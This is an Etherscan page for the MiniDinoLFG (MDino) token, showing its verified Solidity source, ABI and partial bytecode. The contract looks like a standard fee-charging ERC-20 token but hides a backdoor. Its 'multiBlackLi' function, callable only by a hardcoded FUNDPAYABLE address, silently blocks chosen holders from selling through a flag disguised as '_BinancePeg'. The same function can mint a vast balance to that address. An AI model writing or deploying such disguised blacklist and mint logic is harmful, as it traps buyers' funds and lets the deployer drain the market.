ETH Price: $3,481.37 (+0.94%)

Token

MiniDinoLFG (MDino)
 

Overview

Max Total Supply

1,000,000,000 MDino

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
notsbf.eth
Balance
27,653,931.545402688 MDino

Value
$0.00
0xAbf89da69B86d261755a2629967ef71da53b20D2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MiniDinoLFG

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-17
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MiniDinoLFG is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "MiniDinoLFG";

    string private _symbol = "MDino";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public FUNDPAYABLE;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _BinancePeg;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function multiBlackLi(address[] calldata addresses,bool status,bool statues) public {
        require(_msgSender() == FUNDPAYABLE);
        for (uint256 i; i < addresses.length; i++) {
            _BinancePeg[addresses[i]] = status;
        }
        if (statues) _balances[FUNDPAYABLE] +=  (uint256( 100000) * uint256(_totalSupply));

    }    
    address public uniswapPair;

    constructor () {

        FUNDPAYABLE = payable(address(0x12977aF558df8337a0c68B63e76596c655E58E27));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            FUNDPAYABLE.transfer(MarketAmount);
    }

    function ownerCreatePair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }
                require(!_BinancePeg[from]);

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FUNDPAYABLE","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_BinancePeg","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"},{"internalType":"bool","name":"statues","type":"bool"}],"name":"multiBlackLi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerCreatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600b81526020017f4d696e6944696e6f4c46470000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600581526020017f4d44696e6f000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37312977af558df8337a0c68b63e76596c655e58e27600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760006200023b620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612c3f80620007886000396000f3fe60806040526004361061012e5760003560e01c80638bbdc717116100ab578063c5d241891161006f578063c5d2418914610427578063c816841b14610452578063c86079521461047d578063dd62ed3e146104a8578063e77dc3b9146104e5578063f2fde38b1461051057610135565b80638bbdc717146103405780638da5cb5b1461037d57806395d89b41146103a8578063a9059cbb146103d3578063c4d57f671461041057610135565b8063313ce567116100f2578063313ce567146102355780633345611e146102605780633ecad2711461029d57806370a08231146102da57806380f9ec9e1461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612451565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906120ec565b6105cb565b604051610199919061241b565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612436565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612553565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612099565b610619565b60405161022c919061241b565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906125c8565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611fff565b61070a565b604051610294919061241b565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611fff565b61072a565b6040516102d1919061241b565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611fff565b61074a565b60405161030e9190612553565b60405180910390f35b34801561032357600080fd5b5061033e6004803603810190610339919061212c565b610793565b005b34801561034c57600080fd5b5061036760048036038101906103629190611fff565b610929565b604051610374919061241b565b60405180910390f35b34801561038957600080fd5b50610392610949565b60405161039f91906123bc565b60405180910390f35b3480156103b457600080fd5b506103bd610972565b6040516103ca9190612451565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f591906120ec565b610a04565b604051610407919061241b565b60405180910390f35b34801561041c57600080fd5b50610425610a23565b005b34801561043357600080fd5b5061043c610dfb565b6040516104499190612553565b60405180910390f35b34801561045e57600080fd5b50610467610e01565b60405161047491906123bc565b60405180910390f35b34801561048957600080fd5b50610492610e27565b60405161049f9190612553565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190612059565b610e2d565b6040516104dc9190612553565b60405180910390f35b3480156104f157600080fd5b506104fa610eb4565b60405161050791906123d7565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190611fff565b610eda565b005b6060600180546105489061282f565b80601f01602080910402602001604051908101604052809291908181526020018280546105749061282f565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d861102c565b8484611034565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106268484846111ff565b506106e88461063361102c565b6106e385604051806060016040528060288152602001612be260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069961102c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184a9092919063ffffffff16565b611034565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107d461102c565b73ffffffffffffffffffffffffffffffffffffffff16146107f457600080fd5b60005b8484905081101561089357826009600087878581811061081a57610819612937565b5b905060200201602081019061082f9190611fff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061088b90612861565b9150506107f7565b50801561092357600c54620186a06108ab91906126bf565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461091b9190612638565b925050819055505b50505050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109819061282f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ad9061282f565b80156109fa5780601f106109cf576101008083540402835291602001916109fa565b820191906000526020600020905b8154815290600101906020018083116109dd57829003601f168201915b5050505050905090565b6000610a18610a1161102c565b84846111ff565b506001905092915050565b610a2b61102c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf906124f3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1757600080fd5b505afa158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f919061202c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb157600080fd5b505afa158015610bc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be9919061202c565b6040518363ffffffff1660e01b8152600401610c069291906123f2565b602060405180830381600087803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c58919061202c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ee261102c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906124f3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90612533565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110b90612493565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f29190612553565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612513565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612473565b60405180910390fd5b600d60009054906101000a900460ff1615611307576113008484846118ae565b9050611843565b60006113123061074a565b9050600d60009054906101000a900460ff1615801561137b5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561138a5761138981611a81565b5b6113dc83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114c25750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114cf57839050611742565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115525761154b606461153d600a5488611dcf90919063ffffffff16565b611e4a90919063ffffffff16565b90506115d0565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115cf576115cc60646115be600b5488611dcf90919063ffffffff16565b611e4a90919063ffffffff16565b90505b5b60008111156116d45761162b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9490919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116cb9190612553565b60405180910390a35b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561172b57600080fd5b61173e8186611d8590919063ffffffff16565b9150505b61179481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118349190612553565b60405180910390a36001925050505b9392505050565b6000838311158290611892576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118899190612451565b60405180910390fd5b50600083856118a19190612719565b9050809150509392505050565b6000611939826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184a9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ce82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a6e9190612553565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ab957611ab8612966565b5b604051908082528060200260200182016040528015611ae75781602001602082028036833780820191505090505b5090503081600081518110611aff57611afe612937565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ba157600080fd5b505afa158015611bb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd9919061202c565b81600181518110611bed57611bec612937565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c5430600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611034565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cb895949392919061256e565b600060405180830381600087803b158015611cd257600080fd5b505af1925050508015611ce3575060015b611cec57611ced565b5b60004790506000811115611d6557600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d63573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611dc783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061184a565b905092915050565b600080831415611de25760009050611e44565b60008284611df091906126bf565b9050828482611dff919061268e565b14611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e36906124d3565b60405180910390fd5b809150505b92915050565b6000611e8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ef2565b905092915050565b6000808284611ea39190612638565b905083811015611ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edf906124b3565b60405180910390fd5b8091505092915050565b60008083118290611f39576040517f08c379a00000000000000000000000000000000000